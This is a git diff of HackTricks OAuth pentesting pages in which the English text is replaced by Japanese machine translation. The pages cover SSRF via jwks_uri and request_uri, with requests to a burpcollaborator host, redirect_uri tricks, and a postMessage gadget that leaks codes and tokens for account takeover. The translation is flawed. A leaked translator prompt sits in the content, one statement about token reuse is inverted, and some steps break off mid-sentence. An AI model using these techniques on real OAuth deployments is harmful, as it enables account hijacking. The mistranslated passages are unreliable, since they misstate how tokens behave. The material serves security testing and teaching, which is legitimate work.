クライアントアプリケーションの**ロゴを参照するURL**です。**クライアントを登録した後**、新しい「client\_id」を使用してOAuth認可エンドポイント("/authorize")を呼び出してみることができます。ログイン後、サーバーはリクエストの承認を求め、**「logo\_uri」から画像を表示する**場合があります。サーバーが画像を自動的に取得する場合、このステップでSSRFがトリガーされるはずです。代わりに、サーバーは**クライアント側の "\" タグ**を使用してロゴを含める場合があります。これはSSRFにはつながりませんが、URLがエスケープされていない場合は**XSSにつながる可能性があります**。 +- **jwks\_uri** - クライアントのJSON Web Key Set \[JWK]ドキュメントのURLです。このキーセットは、JWTを使用してクライアント認証を行う場合に、トークンエンドポイントに対して行われる署名済みリクエストの検証にサーバーで必要です\[RFC7523]。このパラメータでSSRFをテストするためには、**悪意のある「jwks\_uri」を使用して新しいクライアントアプリケーションを登録**し、任意のユーザーの認可コードを取得してから、以下のボディで"/token"エンドポイントを取得します: -* **logo\_uri** - URL that references a **logo for the client application**. **After you register a client**, you can try to call the OAuth authorization endpoint ("/authorize") using your new "client\_id". After the login, the server will ask you to approve the request and **may display the image from the "logo\_uri"**. If the **server fetches the image by itself**, the SSRF should be triggered by this step. Alternatively, the server may just include the logo via a **client-side "\" tag**. Although this doesn't lead to SSRF, it may lead to **XSS if the URL is not escaped**. -* **jwks\_uri** - URL for the client's JSON Web Key Set \[JWK] document. This key set is needed on the server for validating signed requests made to the token endpoint when using JWTs for client authentication \[RFC7523]. In order to test for SSRF in this parameter, **register a new client application with a malicious "jwks\_uri"**, perform the authorization process to **obtain an authorization code for any user, and then fetch the "/token" endpoint** with the following body: +`POST /oauth/token HTTP/1.1`\ +`...`\ +\`\`\ +`grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...` - `POST /oauth/token HTTP/1.1`\ - `...`\ - \`\`\ - `grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...` +脆弱な場合、サーバーはリクエストの「client\_assertion」パラメータの妥当性をチェックするために、このキーが必要なため、提供された「jwks\_uri」に対してサーバー間のHTTPリクエストを実行するはずです。これはおそらく**ブラインドSSRFの脆弱性**になるでしょうが、サーバーは適切なJSONレスポンスを期待しています。 +- **sector\_identifier\_uri** - このURLは、単一の**リダイレクト\_uri値のJSON配列**を参照しています。サーバーがこれをサポートしている場合、動的登録リクエストを送信するとすぐにこの値を**取得する可能性があります**。すぐに取得されない場合は、サーバーでこのクライアントの認可を実行してみてください。認可フローを完了するためにリダイレクト\_urisを知る必要があるため、サーバーはあなたの悪意のあるsector\_identifier\_uriにリクエストを行うことになります。 +- **request\_uris** - このクライアントの**許可されたrequest\_urisの配列**です。"request\_uri"パラメータは、認可エンドポイントでサポートされており、リクエスト情報を含むJWTが含まれるURLを提供するために使用されます([https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2](https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2)を参照)。 - If vulnerable, the **server should perform a server-to-server HTTP request to the supplied "jwks\_uri"** because it needs this key to check the validity of the "client\_assertion" parameter in your request. This will probably only be a **blind SSRF vulnerability though**, as the server expects a proper JSON response. -* **sector\_identifier\_uri** - This URL references a file with a single **JSON array of redirect\_uri values**. If supported, the server may **fetch this value as soon as you submit the dynamic registration request**. If this is not fetched immediately, try to perform authorization for this client on the server. As it needs to know the redirect\_uris in order to complete the authorization flow, this will force the server to make a request to your malicious sector\_identifier\_uri. -* **request\_uris** - An array of the **allowed request\_uris for this client**. The "request\_uri" parameter may be supported on the authorization endpoint to provide a URL that contains a JWT with the request information (see [https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2](https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2)). +動的クライアント登録が有効になっていない場合、または認証が必要な場合でも、単純に「request\_uri」を使用して認可エンドポイントでSSRFを実行することができます:\\ - Even if dynamic client registration is not enabled, or it requires authentication, we can try to perform SSRF on the authorization endpoint simply by using "request\_uri":\\ +`GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt` - `GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt` +注意:このパラメータを「redirect\_uri」と混同しないでください。**「redirect\_uri」は認可後のリダイレクトに使用されますが、「request\_uri」は認可プロセスの開始時にサーバーによって取得されます**。 - Note: do not confuse this parameter with "redirect\_uri". The "redirect\_uri" is used for redirection after authorization, whereas **"request\_uri" is fetched by the server at the start of the authorization process**. +同時に、私たちが見た多くのサーバーは、任意の「request\_uri」値を許可していません。クライアント登録プロセス中に事前に登録されたホワイトリストに含まれるURLのみを許可しています。そのため、あらかじめ「request\_uris」を「https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt」として提供する必要があります。 - At the same time, many servers we've seen do not allow arbitrary "request\_uri" values: they only allow whitelisted URLs that were pre-registered during the client registration process. That's why we need to supply "request\_uris": "https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt" beforehand. +## OAuthプロバイダの競合状態 -## OAuth providers Race Conditions +テストしているプラットフォームがOAuthプロバイダである場合は、[**競合状態をテストするためにこれを読んでください**](race-condition.md)。 -If the platform you are testing is an OAuth provider [**read this to test for possible Race Conditions**](race-condition.md). +## 参考文献 -## References - -* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1) -* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors) +- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1) +- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください。 +* [**公式のPEASS&HackTricksのスウェット**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または diff --git a/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md b/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md index de89ece85..08cf1206c 100644 --- a/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md +++ b/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md @@ -1,79 +1,73 @@ -# OAuth - Happy Paths, XSS, Iframes & Post Messages to leak code & state values +# OAuth - ハッピーパス、XSS、iframe、およびポストメッセージを使用してコードと状態の値を漏洩させる
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
-**This content was taken from** [**https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**** +**このコンテンツは** [**https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url) **から取得されました。** -## Explanation of different OAuth-dances +## 異なるOAuthダンスの説明 -### Response types +### レスポンスタイプ -First, there are different response types you can use in the OAuth-dance. These responses grant the **token to login as the users or the needed info to do so**. +まず、OAuthダンスで使用できる異なるレスポンスタイプがあります。これらのレスポンスは、**ユーザーとしてログインするためのトークンまたは必要な情報を付与**します。 -The three most common ones are: +最も一般的な3つは次のとおりです。 -1. **`code` + `state`**. The **code** is used to **call the OAuth-provider** server-side to get a token. The **state** parameter is used to verify the **correct user is making the call**. It’s the OAuth-client’s responsibility to validate the state parameter before making the server-side call to the OAuth-provider. -2. **`id_token`**. Is a JSON Web Token **(JWT) signed** using a public certificate from the OAuth-provider to verify that the identity provided is indeed who it claims to be. -3. **`token`**. Is an **access token** used in the API of the service provider. +1. **`code` + `state`**。 **コード**は、OAuthプロバイダーをサーバーサイドで呼び出してトークンを取得するために使用されます。 **state**パラメータは、**正しいユーザーが呼び出しを行っていることを検証するために使用**されます。サーバーサイドの呼び出しを行う前に、OAuthクライアントは状態パラメータを検証する責任があります。 +2. **`id_token`**。 OAuthプロバイダーの公開証明書を使用して署名されたJSON Web Token **(JWT)**を使用して、提供されたアイデンティティが実際に主張されているものであることを検証します。 +3. **`token`**。 サービスプロバイダーのAPIで使用される**アクセストークン**です。 -### Response modes +### レスポンスモード -There are different modes the authorization flow could use to provide the codes or tokens to the website in the OAuth-dance, these are four of the most common ones: +OAuthダンスでウェブサイトにコードまたはトークンを提供するために使用できる異なるモードがあります。以下は最も一般的な4つです。 -1. **Query**. Sending query parameters as a redirect back to the website (`https://example.com/callback?code=xxx&state=xxx`). Used for `code+state`. The **code** can only be **used** **once** and you need the **OAuth client secret** to **acquire an access token** when using the code. - 1. [This mode is not recommended for tokens](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#id\_token) since **tokens can be used multiple times and should not end up in server-logs or similar**. Most OAuth-providers do not support this mode for tokens, only for code. Examples: - * `response_mode=query` is used by Apple. - * `response_type=code` is used by Google or Facebook. -2. **Fragment**. Using a **fragment redirect** (`https://example.com/callback#access_token=xxx`). In this mode, the fragment part of the URL doesn’t end up in any server-logs and can only be reached client-side using javascript. This response mode is used for tokens. Examples: - * `response_mode=fragment` is used by Apple and Microsoft. - * `response_type` contains `id_token` or `token` and is used by Google, Facebook, Atlassian, and others. -3. **Web-message**. Using **postMessage to a fixed origin of the website**:\ - `postMessage('{"access_token":"xxx"}','https://example.com')`\ - If supported, it can often be used for all different response types. Examples: - * `response_mode=web_message` is used by Apple. - * `redirect_uri=storagerelay://...` is used by Google. - * `redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...` is used by Facebook. -4. **Form-post**. Using a form post to a valid `redirect_uri`, a **regular POST-request is sent back to the website**. This can be used for code and tokens. Examples: - * `response_mode=form_post` is used by Apple. - * `ux_mode=redirect&login_uri=https://example.com/callback` is used by Google Sign-In (GSI). +1. **Query**。ウェブサイトにリダイレクトバックするためにクエリパラメータを送信します(`https://example.com/callback?code=xxx&state=xxx`)。 `code+state`に使用されます。 **コード**は**1回だけ使用**でき、コードを使用する場合は**OAuthクライアントシークレット**が必要です。 +1. [このモードはトークンには推奨されていません](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#id\_token)。**トークンは複数回使用できず、サーバーログなどに保存されるべきではありません**。ほとんどのOAuthプロバイダーは、トークンではなくコードに対してこのモードをサポートしていません。例: +* Appleは`response_mode=query`を使用します。 +* GoogleまたはFacebookは`response_type=code`を使用します。 +2. **Fragment**。**フラグメントリダイレクト**を使用します(`https://example.com/callback#access_token=xxx`)。このモードでは、URLのフラグメント部分はサーバーログに表示されず、JavaScriptを使用してクライアントサイドでのみアクセスできます。このレスポンスモードはトークンに使用されます。例: +* AppleとMicrosoftは`response_mode=fragment`を使用します。 +* Google、Facebook、Atlassianなどは`response_type`に`id_token`または`token`を含めます。 +3. **Webメッセージ**。**ウェブサイトの固定されたオリジンにpostMessageを使用**します:\ +`postMessage('{"access_token":"xxx"}','https://example.com')`\ +サポートされている場合、さまざまなレスポンスタイプによく使用できます。例: +* Appleは`response_mode=web_message`を使用します。 +* Googleは`redirect_uri=storagerelay://...`を使用します。 +* Facebookは`redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...`を使用します。 +4. **Form-post**。有効な`redirect_uri`にフォームポストを使用し、**ウェブサイトに通常のPOSTリクエストを送信**します。これはコードとトークンに使用できます。例: +* Appleは`response_mode=form_post`を使用します。 +* Google Sign-In(GSI)は`ux_mode=redirect&login_uri=https://example.com/callback`を使用します。 -## Break `state` intentionally +## `state`を意図的に破壊する -The OAuth specification recommends a `state`-parameter in combination with a `response_type=code` to make sure that the user that initiated the flow is also the one using the code after the OAuth-dance to issue a token. +OAuth仕様では、`state`パラメータを`response_type=code`と組み合わせて使用することを推奨しています。これにより、フローを開始したユーザーがOAuthダンス後にコードを使用するユーザーであることが確認されます。 -However, if the **`state`-value is invalid**, the **`code` will not be consumed** since it’s the **website’s responsibility (the final one) to validate the state**. This means that if an attacker can send a login-flow-link to a victim tainted with a valid `state` of the attacker, the OAuth-dance will fail for the victim and the `code` will never be sent to the OAuth-provider. The code will still be possible to use if the attacker can get it. +ただし、**`state`の値が無効な場合**、**`code`は消費されません**。なぜなら、最終的なウェブサイトが状態を検証する責任があるからです。つまり、攻撃者が有効な`state`を持つ被害者にログインフローリンクを送信できれば、OAuthダンスは被害者に対して失敗し、`code`はOAuthプロバイダーに送信されません。ただし、攻撃者がそれを取得できれば、コードは使用可能です。 -1. Attacker starts a sign-in flow on the website using “Sign in with X”. -2. Attacker uses the `state`-value and constructs a link for the victim to sign in with the OAuth-provider but with the attacker’s `state`. -3. Victim gets signed-in with the link and redirected back to the website. -4. Website validates the `state` for the victim and stops processing the sign-in flow since it’s not a valid state. Error page for victim. -5. Attacker finds a way to leak the `code` from the error page. -6. Attacker can now sign in with their own `state` and the `code` leaked from the victim. +1. 攻撃者は「Xでサインイン」というウェブサイトでサインインフローを開始します。 +2. 攻撃者は`state`の値を使用して、被害者がOAuthプロバイダーでサインインするためのリンクを構築しますが、 +### レスポンスタイプ/レスポンスモードの切り替え -### Response-type/Response-mode switching +OAuthダンスのレスポンスタイプまたはレスポンスモードを変更すると、コードやトークンがウェブサイトにどのように送信されるかが変わり、予期しない動作が発生することがあります。私はOAuthプロバイダーがウェブサイトがサポートするレスポンスタイプやモードを制限するオプションを持っているのを見たことがありません。そのため、OAuthプロバイダーによっては、ノンハッピーパスに到達するために少なくとも2つ以上のレスポンスタイプを変更できることがよくあります。 -**Changing response-types or response-modes** of the OAuth-dance will **affect** in what **way** the **codes** or **tokens** are **sent back** to the website, which most of the time causes unexpected behaviour. I haven’t seen any OAuth-provider having the option to restrict what response-types or modes that the website wants to support, so depending on the OAuth-provider there are often at least **two or more that can be changed** to when trying to end up in a non-happy path. +また、複数のレスポンスタイプをリクエストすることも可能です。[複数のレスポンスタイプがリクエストされた場合に、リダイレクトURIに値を提供する方法が説明されている仕様](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#Encoding)があります。 -There’s also an ability to request multiple response-types. There’s a specification explaining [how to provide the values to the redirect-uri when multiple response-types are requested](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#Encoding): - -> If, in a request, `response_type` includes only values that require the server to return data fully encoded within the query string, then the returned data in the response for this multiple-valued `response_type` MUST be fully encoded within the query string. This recommendation applies to both success and error responses. +> もし、リクエストで`response_type`がクエリ文字列内で完全にエンコードされたデータの返却を要求する値のみを含む場合、この複数の値を持つ`response_type`に対するレスポンスの返却データは、クエリ文字列内で完全にエンコードされる必要があります。この推奨事項は、成功およびエラーレスポンスの両方に適用されます。 > -> If, in a request, `response_type` includes any value that requires the server to return data fully encoded within the fragment then the returned data in the response for this multiple-valued `response_type` MUST be fully encoded within the fragment. This recommendation applies to both success and error responses. +> もし、リクエストで`response_type`がフラグメント内で完全にエンコードされたデータの返却を要求する値を含む場合、この複数の値を持つ`response_type`に対するレスポンスの返却データは、フラグメント内で完全にエンコードされる必要があります。この推奨事項は、成功およびエラーレスポンスの両方に適用されます。 -If this specification is followed properly, it means that you can ask for a `code`-parameter sent to the website, but **if you also ask for `id_token` at the same time, the `code`-parameter will be sent in the fragment** part instead of in the query string. - -For Google’s sign-in this means that: +この仕様が正しく守られている場合、ウェブサイトに`code`パラメータを送信することができますが、同時に`id_token`も要求する場合、`code`パラメータはクエリ文字列ではなくフラグメントの一部として送信されます。 +Googleのサインインの場合、以下のことを意味します: ``` https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount? client_id=client-id.apps.googleusercontent.com& @@ -84,9 +78,7 @@ access_type=offline& state=yyy& prompt=consent&flowName=GeneralOAuthFlow ``` - -will redirect to `https://example.com/callback?code=xxx&state=yyy`. But: - +次に、`https://example.com/callback?code=xxx&state=yyy` にリダイレクトされます。しかし、以下のような問題があります: ``` https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount? client_id=client-id.apps.googleusercontent.com& @@ -97,11 +89,9 @@ access_type=offline& state=yyy& prompt=consent&flowName=GeneralOAuthFlow ``` +`https://example.com/callback#code=xxx&state=yyy&id_token=zzz` にリダイレクトされます。 -will redirect to `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`. - -Same idea applies to Apple if you use: - +同じ考え方は、Appleを使用する場合も適用されます。 ``` https://appleid.apple.com/auth/authorize? response_type=code& @@ -111,9 +101,7 @@ state=zzz& client_id=client-id& redirect_uri=https%3A%2F%2Fexample.com%2Fcallback ``` - -you will be redirected to `https://example.com/callback?code=xxx&state=yyy`, but: - +以下のURLにリダイレクトされます:`https://example.com/callback?code=xxx&state=yyy`、ただし: ``` https://appleid.apple.com/auth/authorize? response_type=code+id_token& @@ -123,629 +111,586 @@ state=zzz& client_id=client-id& redirect_uri=https%3A%2F%2Fexample.com%2Fcallback ``` +あなたを`https://example.com/callback#code=xxx&state=yyy&id_token=zzz`にリダイレクトします。 -Will redirect you to `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`. +## ハッピーでないパス -## Non-Happy Paths +研究の著者は、**OAuth経由でユーザーがリダイレクトされる間違ったURLへのノンハッピーなパス**を呼びました。これは、クライアントにトークンと有効な状態+コードが提供された場合でも、**期待されるページに到達しない**場合、その**情報は適切に消費されない**ため、攻撃者が「ノンハッピーなパス」からその情報を**漏洩**する方法を見つけると、**アカウントを乗っ取る**ことができます。 -The author of the research called **non-happy paths to wrong URLs where the user login via OAuth was redirected to**. This is useful because if the client is provided the token o a valid state+code **but he doesn't reach the expected page**, that **information won't be properly consumed** and if the attacker finds a way to **exfiltrate that info** from the "non-happy path" he will be able to **takeover the account**. +デフォルトでは、OAuthフローは期待されるパスに到達しますが、いくつかの潜在的な**設定ミス**があるかもしれません。これにより、攻撃者が特定の初期OAuthリクエストを作成し、**ユーザーがログイン後にノンハッピーなパスに到達する**ことができます。 -By default, the OAuth flow will reach the expected path, however, there could be some potential **misconfigurations** that could allow an attacker to **craft a specific initial OAuth request** that will make the **user reach a non-happy path after logging in**. +### リダイレクトURIの不一致 -### Redirect-uri mismatchings +これらの「一般的な」**設定ミス**は、OAuth通信の**リダイレクトURL**で見つかりました。 -These "common" found **misconfigurations** were found in the **redirect url** of the OAuth communication. +[**仕様**](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-19#section-2.1)は厳密に、リダイレクトURLは定義されたURLと厳密に比較されるべきであり、ポートの変更以外の変更は許可されないことを示しています。しかし、一部のエンドポイントでは、いくつかの変更が許可されていました。 -The [**specification**](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-19#section-2.1) **** strictly indicates that the redirect url should be strictly compared with the one defined not allowing changes appart from the port appearing or not. However, some endpoints where allowing some modifications: - -### Redirect-uri path appending - -Some OAuth-providers **allow additional data to be added** to the path for `redirect_uri`. This is also breaking the specification in the same way as for “Redirect-uri case shifting”. For example, having a `https://example.com/callback`redirect uri, sending in: +### リダイレクトURIパスの追加 +一部のOAuthプロバイダは、`redirect_uri`のパスに追加データを追加することを許可しています。これは、「リダイレクトURIの大文字小文字の変更」と同じように仕様を破っています。例えば、`https://example.com/callback`のリダイレクトURIに対して、以下のように送信します: ``` response_type=id_token& redirect_uri=https://example.com/callbackxxx ``` +次に、`https://example.com/callbackxxx#id_token` へのリダイレクトが行われます。 -would end up in a redirect to `https://example.com/callbackxxx#id_token`. - -### Redirect-uri parameter appending - -Some OAuth-providers **allow additional query or fragment parameters** to be added to the `redirect_uri`. You can use this by triggering a non-happy path by providing the same parameters that will be appended to the URL. For example, having a `https://example.com/callback` redirect uri, sending in: +### Redirect-uriパラメータの追加 +一部のOAuthプロバイダは、`redirect_uri` に追加のクエリまたはフラグメントパラメータを追加することを許可しています。これを利用して、URLに追加される同じパラメータを提供することで、非ハッピーパスをトリガーすることができます。たとえば、`https://example.com/callback` のリダイレクトURIを持つ場合、次のように送信します: ``` response_type=code& redirect_uri=https://example.com/callback%3fcode=xxx%26 ``` - -would end up in these cases as a redirect to `https://example.com/callback?code=xxx&code=real-code`. Depending on the website receiving **multiple parameters with the same name, this could also trigger a non-happy path**. Same applies to `token` and `id_token`: - +次の場合、リダイレクトは`https://example.com/callback?code=xxx&code=real-code`になります。ウェブサイトが**同じ名前の複数のパラメータを受け取る場合、これは非ハッピーパスをトリガーする可能性もあります**。`token`と`id_token`にも同じことが当てはまります。 ``` response_type=code& redirect_uri=https://example.com/callback%23id_token=xxx%26 ``` +### リダイレクトURIの残り物や設定ミス -ends up as `https://example.com/callback#id_token=xxx&id_token=real-id_token`. Depending on the **javascript that fetches the fragment parameters when multiple parameters of the same name are present**, this could also end up in a non-happy path. +`redirect_uri` 値を含むすべてのサインインURLを収集する際に、他のリダイレクトURIの値も有効であるかどうかをテストすることもできます。テストしたウェブサイトの中で保存した125種類の異なるGoogleサインインフローのうち、5つのウェブサイトではスタートページも有効な `redirect_uri` として機能していました。例えば、使用されている `redirect_uri=https://auth.example.com/callback` の場合、これらの5つのケースでは以下のいずれかも有効でした: -### Redirect-uri leftovers or misconfigurations +- `redirect_uri=https://example.com/` +- `redirect_uri=https://example.com` +- `redirect_uri=https://www.example.com/` +- `redirect_uri=https://www.example.com` -When collecting all sign-in URLs containing the `redirect_uri`-values I could also test if other redirect-uri values were also valid. Out of 125 different Google sign-in flows I saved from the websites I tested, 5 websites had the start-page also as a valid `redirect_uri`. For example, if `redirect_uri=https://auth.example.com/callback` was the one being used, in these 5 cases, any of these were also valid: +これは特に `id_token` や `token` を実際に使用しているウェブサイトにとって興味深いものでした。なぜなら、`response_type=code` の場合、OAuthプロバイダーはトークンを取得するOAuthダンスの最後のステップで `redirect_uri` を検証するからです。 -* `redirect_uri=https://example.com/` -* `redirect_uri=https://example.com` -* `redirect_uri=https://www.example.com/` -* `redirect_uri=https://www.example.com` - -This was especially interesting for the websites that actually used `id_token` or `token`, since `response_type=code` will still have the OAuth-provider validating the `redirect_uri` in the last step of the OAuth-dance when acquiring a token. - -## Gadget 1: Weak or no origin-check postMessage-listeners that leaks URL +## ガジェット1:弱いまたはオリジンチェックのないURLを漏洩させるpostMessageリスナー ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-1-1024x582.png) -**In this example, the final non-happy path where the token/code was being send was sending a post request message leaking location.href.**\ -One example was an analytics-SDK for a popular site that was loaded on websites: +**この例では、トークン/コードが送信される最終的な非ハッピーパスで、location.hrefを漏洩させるポストリクエストメッセージが送信されています。**\ +例えば、ウェブサイトにロードされている人気のあるサイトのアナリティクスSDKがありました: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example1.png) -This SDK exposed a postMessage-listener which sent the following message when the message-type matched: +このSDKは、メッセージタイプが一致した場合に以下のメッセージを送信するpostMessageリスナーを公開していました: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example2.png) -Sending a message to it from a different origin: - +異なるオリジンからそれにメッセージを送信すると、 ```javascript openedwindow = window.open('https://www.example.com'); ... openedwindow.postMessage('{"type":"sdk-load-embed"}','*'); ``` +以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイル/hive/hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.mdからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/ SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。 -A response message would show up in the window that sent the message containing the `location.href` of the website: +--- + +ウィンドウには、ウェブサイトの`location.href`を含むメッセージが表示されます。 ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example3.png) -The flow that could be used in an attack depended on how codes and tokens were used for the sign-in flow, but the idea was: +攻撃に使用できるフローは、コードとトークンがサインインフローでどのように使用されるかに依存しますが、アイデアは次のとおりです。 -### **Attack** +### **攻撃** -1. Attacker sends the victim a **crafted link** that has been prepared to **result in a non-happy path** in the OAuth-dance. -2. Victim **clicks** the link. New tab opens up with a **sign-in** flow with one of the OAuth-providers of the website being exploited. -3. Non-happy path gets triggered on the website being exploited, the **vulnerable postMessage-listener is loaded on the page the victim landed on, still with the code or tokens in the URL**. -4. **Original tab** sent by the attacker sends a bunch of **postMessages** to the new tab with the website to get the postMessage-listener to leak the current URL. -5. Original tab sent by the attacker then **listens to the message sent to it**. When the URL comes back in a message, the **code and token is extracted** and sent to the attacker. -6. **Attacker signs in as the victim** using the code or token that ended up on the non-happy path. +1. 攻撃者は、OAuthダンスで非ハッピーパスになるように準備された**作成済みのリンク**を被害者に送信します。 +2. 被害者がリンクを**クリック**します。新しいタブが開き、攻撃対象のウェブサイトのOAuthプロバイダーの1つで**サインイン**フローが表示されます。 +3. 攻撃対象のウェブサイトで非ハッピーパスがトリガーされ、**脆弱なpostMessageリスナーがURL付きのままページに読み込まれます**。 +4. 